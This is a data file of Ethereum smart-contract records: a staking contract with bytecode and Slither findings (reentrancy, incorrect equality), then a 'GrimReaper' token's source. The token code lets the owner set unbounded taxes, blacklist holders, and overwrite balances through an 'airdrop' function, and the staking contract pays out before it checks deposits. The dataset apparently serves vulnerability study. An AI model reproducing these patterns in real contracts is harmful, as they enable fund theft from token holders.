expiry,bool allowed)"); bytes32 public constant PERMIT_TYPEHASH = 0x21cd9aa44f4218d88de398865e90b6302b1c68dbeecba1ed08e507cb29ef9d6f; uint256 constant internal ONE_DAY = 1 days; uint256 public ANCHOR; IERC20 public token; IWETH public weth; //address[2] tokens; IUniswapV2Pair public pair; IUniswapFactory public factory; uint256 public stakeAmount; mapping(address=>User) public users; //Index of the user mapping(uint256=>address) public indexs; mapping(address => uint256[2]) public deposits; mapping (address => uint) public _nonces; uint256 public userCounter; event Stake(address indexed userAddress,uint256 amount); event WithdrawCapital(address indexed userAddress,uint256 amount); event Deposit(address indexed userAddress,uint256[2]); event Allot(address indexed userAddress,uint256,uint256); event Lock(address indexed userAddress,uint256 amount); function setPair(address tokenA,address tokenB) public onlyOwner returns(address pairAddress){ pairAddress = factory.getPair(tokenA,tokenB); //require(pairAddress!=address(0),"Invalid trade pair"); pair = IUniswapV2Pair(pairAddress); } function deposit(uint256[2] memory amounts) public returns(bool){ (address[2] memory tokens,) = balanceOf(address(this)); for(uint8 i = 0;i<amounts.length;i++){ if(amounts[i]>0) TransferHelper.safeTransferFrom(tokens[i],msg.sender,address(this),amounts[i]); deposits[msg.sender][i] += amounts[i]; } emit Deposit(msg.sender,amounts); return true; } function allot(address userAddress,uint256[2] memory amounts) public returns(bool){ (address[2] memory tokens,) = balanceOf(address(this)); if(amounts[0]>0) _transfer(tokens[0],userAddress,amounts[0]); if(amounts[1]>0) _transfer(tokens[1],userAddress,amounts[1]); for(uint8 i = 0;i<amounts.length;i++){ require(deposits[msg.sender][i]>=amounts[i],"not sufficient funds"); deposits[msg.sender][i]-=amounts[i]; } emit Allot(userAddress,amounts[0],amounts[1]); return true; } function _transfer(address _token,address userAddress,uint256 amount) internal { if(_token==address(weth)) { weth.withdraw(amount); TransferHelper.safeTransferETH(userAddress, amount); }else{ TransferHelper.safeTransfer(_token,userAddress,amount); } } function stake(uint256 amount) public { require(address(pair)!=address(0),"Invalid trade pair"); require(amount>0,"Amount of error"); //token.permit(msg.sender,address(this),nonce,expiry,amount,v,r,s); TransferHelper.safeTransferFrom(address(token),msg.sender,address(this),amount); User storage user = findUser(msg.sender); user.investment+= amount; stakeAmount+=amount; emit Stake(msg.sender,stakeAmount); } function lock(address holder, address locker, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s) public { bytes32 digest = keccak256(abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, holder, locker, nonce, expiry, allowed)) )); require(holder != address(0), "invalid-address-0"); require(holder == ecrecover(digest, v, r, s), "invalid-permit"); require(expiry == 0 || block.timestamp <= expiry, "permit-expired"); require(nonce == _nonces[holder]++, "invalid-nonce"); users[holder].freezeTime = block.timestamp; emit Lock(holder,users[holder].investment); } function withdrawCapital() public { User storage user = users[msg.sender]; if(user.freezeTime!=0){ require(duration(user.freezeTime)!=duration(),"not allowed now"); } uint256 amount = user.investment; require(amount>0,"not stake"); TransferHelper.safeTransfer(address(token),msg.sender,amount); user.investment = 0; user.freezeTime = 0; stakeAmount = stakeAmount.sub(amount); emit WithdrawCapital(msg.sender,stakeAmount); } function findUser(address userAddress) internal returns(User storage user) { User storage udata = users[msg.sender]; if(udata.id==0){ userCounter++; udata.id = userCounter; indexs[userCounter] = userAddress; } return udata; } function lockStatus(address userAddress) public view returns(bool){ uint256 freezeTime = users[userAddress].freezeTime; return freezeTime==0?false:duration(freezeTime) == duration(); } function balanceOf(address userAddress) public view returns (address[2] memory tokens,uint256[2] memory balances){ tokens[0] = pair.token0(); tokens[1] = pair.token1(); balances[0] = IERC20(tokens[0]).balanceOf(userAddress); balances[1] = IERC20(tokens[1]).balanceOf(userAddress); return (tokens,balances); } function totalSupply() public view returns (uint256){ return token.totalSupply(); } function duration() public view returns(uint256){ return duration(block.timestamp); } function duration(uint256 endTime) internal view returns(uint256){ return duration(ANCHOR,endTime); } function duration(uint256 startTime,uint256 endTime) internal pure returns(uint256){ if(endTime<startTime){ return 0; }else{ return endTime.sub(startTime).div(ONE_DAY); } } } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } }
0x6080604052600436106101bb5760003560e01c8063715018a6116100ec578063b9844d8d1161008a578063f020d11811610064578063f020d11814610690578063f0c37a59146106f9578063f2fde38b1461070e578063fc0c546a14610741576101d6565b8063b9844d8d1461060f578063c45a015514610642578063d6d6817714610657576101d6565b806395c5c5e3116100c657806395c5c5e314610544578063a694fc3a1461057f578063a87430ba146105a9578063a8aa1b31146105fa576101d6565b8063715018a6146105055780638da5cb5b1461051a5780638f32d59b1461052f576101d6565b806330adf81f1161015957806354fd4d501161013357806354fd4d50146103b757806360c7dc47146104415780636ff437061461045657806370a082311461046b576101d6565b806330adf81f146103785780633644e5151461038d5780633fc8cef3146103a2576101d6565b806315497d2c1161019557806315497d2c146102b457806317727a00146102e757806318160ddd146102fc57806322f28b4914610311576101d6565b80630fb5a6b4146101db578063101d457914610202578063143ad35614610248576101d6565b366101d6576004546001600160a01b031633146101d457fe5b005b600080fd5b3480156101e757600080fd5b506101f0610756565b60408051918252519081900360200190f35b34801561020e57600080fd5b5061022c6004803603602081101561022557600080fd5b5035610766565b604080516001600160a01b039092168252519081900360200190f35b34801561025457600080fd5b506102a06004803603604081101561026b57600080fd5b604080518082018252918301929181830191839060029083908390808284376000920191909152509194506107819350505050565b604080519115158252519081900360200190f35b3480156102c057600080fd5b506102a0600480360360208110156102d757600080fd5b50356001600160a01b03166108b4565b3480156102f357600080fd5b506101d46108f7565b34801561030857600080fd5b506101f0610a1d565b34801561031d57600080fd5b506101d4600480360361010081101561033557600080fd5b506001600160a01b038135811691602081013590911690604081013590606081013590608081013515159060ff60a0820135169060c08101359060e00135610a93565b34801561038457600080fd5b506101f0610d5e565b34801561039957600080fd5b506101f0610d82565b3480156103ae57600080fd5b5061022c610d88565b3480156103c357600080fd5b506103cc610d97565b6040805160208082528351818301528351919283929083019185019080838360005b838110156104065781810151838201526020016103ee565b50505050905090810190601f1680156104335780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561044d57600080fd5b506101f0610db4565b34801561046257600080fd5b506101f0610dba565b34801561047757600080fd5b5061049e6004803603602081101561048e57600080fd5b50356001600160a01b0316610dc0565b6040518083600260200280838360005b838110156104c65781810151838201526020016104ae565b5050505090500182600260200280838360005b838110156104f15781810151838201526020016104d9565b505050509050019250505060405180910390f35b34801561051157600080fd5b506101d4610fc8565b34801561052657600080fd5b5061022c61106b565b34801561053b57600080fd5b506102a061107a565b34801561055057600080fd5b5061022c6004803603604081101561056757600080fd5b506001600160a01b038135811691602001351661109e565b34801561058b57600080fd5b506101d4600480360360208110156105a257600080fd5b503561119e565b3480156105b557600080fd5b506105dc600480360360208110156105cc57600080fd5b50356001600160a01b03166112a9565b60408051938452602084019290925282820152519081900360600190f35b34801561060657600080fd5b5061022c6112ca565b34801561061b57600080fd5b506101f06004803603602081101561063257600080fd5b50356001600160a01b03166112d9565b34801561064e57600080fd5b5061022c6112eb565b34801561066357600080fd5b506101f06004803603604081101561067a57600080fd5b506001600160a01b0381351690602001356112fa565b34801561069c57600080fd5b506102a0600480360360608110156106b357600080fd5b6040805180820182526001600160a01b038435169392830192916060830191906020840190600290839083908082843760009201919091525091945061131f9350505050565b34801561070557600080fd5b506101f06114b7565b34801561071a57600080fd5b506101d46004803603602081101561073157600080fd5b50356001600160a01b03166114bd565b34801561074d57600080fd5b5061022c611522565b60006107614261160e565b905090565b6009602052600090815260409020546001600160a01b031681565b60008061078d30610dc0565b50905060005b60028160ff161015610844576000848260ff16600281106107b057fe5b602002015111156107ed576107ed828260ff16600281106107cd57fe5b60200201513330878560ff16600281106107e357fe5b602002015161161c565b838160ff16600281106107fc57fe5b6020020151600a6000336001600160a01b03166001600160a01b031681526020019081526020016000208260ff166002811061083457fe5b0180549091019055600101610793565b50336001600160a01b03167f81cc83752411cb6586c3b31511a1bf6f737652853ffc35f651ba6b812c961399846040518082600260200280838360005b83811015610899578181015183820152602001610881565b5050505090500191505060405180910390a250600192915050565b6001600160a01b03811660009081526008602052604081206002015480156108ed576108de610756565b6108e78261160e565b146108f0565b60005b9392505050565b33600090815260086020526040902060028101541561096a57610918610756565b610925826002015461160e565b141561096a576040805162461bcd60e51b815260206004820152600f60248201526e6e6f7420616c6c6f776564206e6f7760881b604482015290519081900360640190fd5b6001810154806109ad576040805162461bcd60e51b81526020600482015260096024820152686e6f74207374616b6560b81b604482015290519081900360640190fd5b6003546109c4906001600160a01b03163383611778565b60006001830181905560028301556007546109df908261158a565b6007819055604080519182525133917f3cb38f529468694fde7182fa11a664974b1c24236d529f5605149d682e2cf656919081900360200190a25050565b600354604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd916004808301926020929190829003018186803b158015610a6257600080fd5b505afa158015610a76573d6000803e3d6000fd5b505050506040513d6020811015610a8c57600080fd5b5051905090565b600154604080517f21cd9aa44f4218d88de398865e90b6302b1c68dbeecba1ed08e507cb29ef9d6f6020808301919091526001600160a01b03808d16838501819052908c166060840152608083018b905260a083018a905288151560c0808501919091528451808503909101815260e08401855280519083012061190160f01b61010085015261010284019590955261012280840195909552835180840390950185526101429092019092528251929091019190912090610b8f576040805162461bcd60e51b81526020600482015260116024820152700696e76616c69642d616464726573732d3607c1b604482015290519081900360640190fd5b60018185858560405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015610be9573d6000803e3d6000fd5b505050602060405103516001600160a01b0316896001600160a01b031614610c49576040805162461bcd60e51b815260206004820152600e60248201526d1a5b9d985b1a590b5c195c9b5a5d60921b604482015290519081900360640190fd5b851580610c565750854211155b610c98576040805162461bcd60e51b815260206004820152600e60248201526d1c195c9b5a5d0b595e1c1a5c995960921b604482015290519081900360640190fd5b6001600160a01b0389166000908152600b602052604090208054600181019091558714610cfc576040805162461bcd60e51b815260206004820152600d60248201526c696e76616c69642d6e6f6e636560981b604482015290519081900360640190fd5b6001600160a01b03891660008181526008602090815260409182902042600282015560010154825190815291517f625fed9875dada8643f2418b838ae0bc78d9a148a18eee4ee1979ff0f3f5d4279281900390910190a2505050505050505050565b7f21cd9aa44f4218d88de398865e90b6302b1c68dbeecba1ed08e507cb29ef9d6f81565b60015481565b6004546001600160a01b031681565b604051806040016040528060018152602001603160f81b81525081565b60075481565b60025481565b610dc8611c8c565b610dd0611c8c565b600560009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b158015610e1e57600080fd5b505afa158015610e32573d6000803e3d6000fd5b505050506040513d6020811015610e4857600080fd5b50516001600160a01b0390811683526005546040805163d21220a760e01b81529051919092169163d21220a7916004808301926020929190829003018186803b158015610e9457600080fd5b505afa158015610ea8573d6000803e3d6000fd5b505050506040513d6020811015610ebe57600080fd5b50516001600160a01b039081166020808501919091528351604080516370a0823160e01b81528785166004820152905191909316926370a08231926024808301939192829003018186803b158015610f1557600080fd5b505afa158015610f29573d6000803e3d6000fd5b505050506040513d6020811015610f3f57600080fd5b50518152602082810151604080516370a0823160e01b81526001600160a01b038781166004830152915191909216926370a082319260248082019391829003018186803b158015610f8f57600080fd5b505afa158015610fa3573d6000803e3d6000fd5b505050506040513d6020811015610fb957600080fd5b50518160016020020152915091565b610fd061107a565b611021576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b600080546001600160a01b031661108f6118e1565b6001600160a01b031614905090565b60006110a861107a565b6110f9576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6006546040805163e6a4390560e01b81526001600160a01b03868116600483015285811660248301529151919092169163e6a439059160448083019260209291908290030181600087803b15801561115057600080fd5b505af1158015611164573d6000803e3d6000fd5b505050506040513d602081101561117a57600080fd5b5051600580546001600160a01b0319166001600160a01b0383161790559392505050565b6005546001600160a01b03166111f0576040805162461bcd60e51b815260206004820152601260248201527124b73b30b634b2103a3930b232903830b4b960711b604482015290519081900360640190fd5b60008111611237576040805162461bcd60e51b815260206004820152600f60248201526e20b6b7bab73a1037b31032b93937b960891b604482015290519081900360640190fd5b60035461124f906001600160a01b031633308461161c565b600061125a336118e5565b6001810180548401905560078054840190819055604080519182525191925033917febedb8b3c678666e7f36970bc8f57abf6d8fa2e828c0da91ea5b75bf68ed101a9181900360200190a25050565b60086020526000908152604090208054600182015460029092015490919083565b6005546001600160a01b031681565b600b6020526000908152604090205481565b6006546001600160a01b031681565b600a602052816000526040600020816002811061131657600080fd5b01549150829050565b60008061132b30610dc0565b5083519091501561134b57805161134b90858560005b6020020151611935565b6020830151156113675760208101516113679085856001611341565b60005b60028160ff16101561146157838160ff166002811061138557fe5b6020020151600a6000336001600160a01b03166001600160a01b031681526020019081526020016000208260ff16600281106113bd57fe5b01541015611409576040805162461bcd60e51b81526020600482015260146024820152736e6f742073756666696369656e742066756e647360601b604482015290519081900360640190fd5b838160ff166002811061141857fe5b6020020151600a6000336001600160a01b03166001600160a01b031681526020019081526020016000208260ff166002811061145057fe5b01805491909103905560010161136a565b508251602080850151604080519384529183015280516001600160a01b038716927f4a1e112438f12d617d971a4446770d73935b4138bfa36f7dbf3aa4692f79159a92908290030190a260019150505b92915050565b600c5481565b6114c561107a565b611516576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b61151f816119cd565b50565b6003546001600160a01b031681565b600082611540575060006114b1565b8282028284828161154d57fe5b04146108f05760405162461bcd60e51b8152600401808060200182810382526021815260200180611cd16021913960400191505060405180910390fd5b60006108f083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a6d565b60006108f083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b04565b60006114b160025483611b69565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b178152925182516000948594938a169392918291908083835b602083106116a05780518252601f199092019160209182019101611681565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611702576040519150601f19603f3d011682016040523d82523d6000602084013e611707565b606091505b5091509150818015611735575080511580611735575080806020019051602081101561173257600080fd5b50515b6117705760405162461bcd60e51b8152600401808060200182810382526024815260200180611d156024913960400191505060405180910390fd5b505050505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b1781529251825160009485949389169392918291908083835b602083106117f45780518252601f1990920191602091820191016117d5565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611856576040519150601f19603f3d011682016040523d82523d6000602084013e61185b565b606091505b5091509150818015611889575080511580611889575080806020019051602081101561188657600080fd5b50515b6118da576040805162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604482015290519081900360640190fd5b5050505050565b3390565b33600090815260086020526040812080546114b157600c805460010190819055808255600090815260096020526040902080546001600160a01b0319166001600160a01b03851617905592915050565b6004546001600160a01b03848116911614156119bd576004805460408051632e1a7d4d60e01b8152928301849052516001600160a01b0390911691632e1a7d4d91602480830192600092919082900301818387803b15801561199657600080fd5b505af11580156119aa573d6000803e3d6000fd5b505050506119b88282611b99565b6119c8565b6119c8838383611778565b505050565b6001600160a01b038116611a125760405162461bcd60e51b8152600401808060200182810382526026815260200180611cab6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008184841115611afc5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ac1578181015183820152602001611aa9565b50505050905090810190601f168015611aee5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183611b535760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611ac1578181015183820152602001611aa9565b506000838581611b5f57fe5b0495945050505050565b600082821015611b7b575060006114b1565b611b9262015180611b8c848661158a565b906115cc565b90506114b1565b604080516000808252602082019092526001600160a01b0384169083906040518082805190602001908083835b60208310611be55780518252601f199092019160209182019101611bc6565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611c47576040519150601f19603f3d011682016040523d82523d6000602084013e611c4c565b606091505b50509050806119c85760405162461bcd60e51b8152600401808060200182810382526023815260200180611cf26023913960400191505060405180910390fd5b6040518060400160405280600290602082028036833750919291505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775472616e7366657248656c7065723a204554485f5452414e534645525f4641494c45445472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c4544a264697066735822122029380f0d8aba39397244a22c9576eaf0a0a2dea5b3689d0e0767b2c84f2a909d64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
10,449
0x52b235b46cacae41ee701015995ba0ac08e750d3
/** *Submitted for verification at Etherscan.io on 2022-03-29 */ //SPDX-License-Identifier: MIT /** https://t.me/GrimReaperCoin **/ pragma solidity ^0.8.12; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract GrimReaper is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => bool) public bots; uint256 private _tTotal = 100000000 * 10**8; uint256 private _contractAutoLpLimitToken = 1000000000000000000; uint256 private _taxFee; uint256 private _buyTaxMarketing = 8; uint256 private _sellTaxMarketing = 3; uint256 private _autoLpFee = 3; uint256 private _LpPercentBase100 = 35; address payable private _taxWallet; address payable private _contractPayment; uint256 private _maxTxAmount; uint256 private _maxWallet; string private constant _name = "Grim Reaper"; string private constant _symbol = "GRIM"; uint8 private constant _decimals = 8; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; event SwapAndLiquify( uint256 tokensSwapped, uint256 coinReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _contractPayment = payable(address(this)); _taxFee = _buyTaxMarketing + _autoLpFee; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount = _tTotal.mul(2).div(10**2); _maxWallet = _tTotal.mul(4).div(10**2); _balance[address(this)] = _tTotal; emit Transfer(address(0x0), address(this), _tTotal); } function maxTxAmount() public view returns (uint256){ return _maxTxAmount; } function maxWallet() public view returns (uint256){ return _maxWallet; } function isInSwap() public view returns (bool) { return _inSwap; } function isSwapEnabled() public view returns (bool) { return _swapEnabled; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setSellMarketingTax(uint256 taxFee) external onlyOwner() { _sellTaxMarketing = taxFee; } function setBuyMarketingTax(uint256 taxFee) external onlyOwner() { _buyTaxMarketing = taxFee; } function setAutoLpFee(uint256 taxFee) external onlyOwner() { _autoLpFee = taxFee; } function setContractAutoLpLimit(uint256 newLimit) external onlyOwner() { _contractAutoLpLimitToken = newLimit; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to], "This account is blacklisted"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); require(_canTrade,"Trading not started"); require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size"); } if (from == _pair) { _taxFee = buyTax(); } else { _taxFee = sellTax(); } uint256 contractTokenBalance = balanceOf(address(this)); if(!_inSwap && from != _pair && _swapEnabled) { if(contractTokenBalance >= _contractAutoLpLimitToken) { swapAndLiquify(contractTokenBalance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 autoLpTokenBalance = contractTokenBalance.mul(_LpPercentBase100).div(10**2); uint256 marketingAmount = contractTokenBalance.sub(autoLpTokenBalance); uint256 half = autoLpTokenBalance.div(2); uint256 otherHalf = autoLpTokenBalance.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(half); uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidityAuto(newBalance, otherHalf); emit SwapAndLiquify(half, newBalance, otherHalf); swapTokensForEth(marketingAmount); sendETHToFee(marketingAmount); } function buyTax() private view returns (uint256) { return (_autoLpFee + _buyTaxMarketing); } function sellTax() private view returns (uint256) { return (_autoLpFee + _sellTaxMarketing); } function setMaxTx(uint256 amount) public onlyOwner{ require(amount>_maxTxAmount); _maxTxAmount=amount; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function createPair() external onlyOwner { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidityInitial() external onlyOwner{ _uniswap.addLiquidityETH{value: address(this).balance} ( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); _swapEnabled = true; } function addLiquidityAuto(uint256 etherValue, uint256 tokenValue) private { _approve(address(this), address(_uniswap), tokenValue); _uniswap.addLiquidityETH{value: etherValue} ( address(this), tokenValue, 0, 0, owner(), block.timestamp ); _swapEnabled = true; } function enableTrading(bool _enable) external onlyOwner{ _canTrade = _enable; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function setMaxWallet(uint256 amount) public onlyOwner{ require(amount>_maxWallet); _maxWallet=amount; } receive() external payable {} function blockBots(address[] memory bots_) public onlyOwner {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}} function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function manualsend() public{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function airdropOldHolders(address[] memory recipients, uint256[] memory amounts) public onlyOwner { for(uint256 i = 0; i < recipients.length; i++) { _balance[recipients[i]] = amounts[i] * 10**8; emit Transfer(address(this), recipients[i], amounts[i] * 10**8); } } }
0x6080604052600436106101e65760003560e01c8063715018a611610102578063bc33718211610095578063e350779711610064578063e3507797146106ae578063ea2f0b37146106d7578063f275f64b14610700578063f8b45b0514610729576101ed565b8063bc337182146105e0578063bfd7928414610609578063cc99689914610646578063dd62ed3e14610671576101ed565b80638da5cb5b116100d15780638da5cb5b1461053657806395d89b41146105615780639e78fb4f1461058c578063a9059cbb146105a3576101ed565b8063715018a6146104b45780637b41192a146104cb578063818a7def146104f45780638c0b5e221461050b576101ed565b8063351a964d1161017a57806363148a501161014957806363148a501461040e5780636b999053146104375780636fc3eaec1461046057806370a0823114610477576101ed565b8063351a964d146103685780634263ec3314610393578063437823ec146103bc5780635d0044ca146103e5576101ed565b806318160ddd116101b657806318160ddd146102ac5780631d60c2b0146102d757806323b872dd14610300578063313ce5671461033d576101ed565b8062b8cf2a146101f2578063061c82d01461021b57806306fdde0314610244578063095ea7b31461026f576101ed565b366101ed57005b600080fd5b3480156101fe57600080fd5b5061021960048036038101906102149190612f9d565b610754565b005b34801561022757600080fd5b50610242600480360381019061023d919061301c565b61087e565b005b34801561025057600080fd5b5061025961091d565b60405161026691906130d1565b60405180910390f35b34801561027b57600080fd5b50610296600480360381019061029191906130f3565b61095a565b6040516102a3919061314e565b60405180910390f35b3480156102b857600080fd5b506102c1610978565b6040516102ce9190613178565b60405180910390f35b3480156102e357600080fd5b506102fe60048036038101906102f9919061301c565b610982565b005b34801561030c57600080fd5b5061032760048036038101906103229190613193565b610a21565b604051610334919061314e565b60405180910390f35b34801561034957600080fd5b50610352610afa565b60405161035f9190613202565b60405180910390f35b34801561037457600080fd5b5061037d610b03565b60405161038a919061314e565b60405180910390f35b34801561039f57600080fd5b506103ba60048036038101906103b5919061301c565b610b1a565b005b3480156103c857600080fd5b506103e360048036038101906103de919061321d565b610bb9565b005b3480156103f157600080fd5b5061040c6004803603810190610407919061301c565b610ca9565b005b34801561041a57600080fd5b506104356004803603810190610430919061330d565b610d56565b005b34801561044357600080fd5b5061045e6004803603810190610459919061321d565b610f3e565b005b34801561046c57600080fd5b5061047561102e565b005b3480156104835760008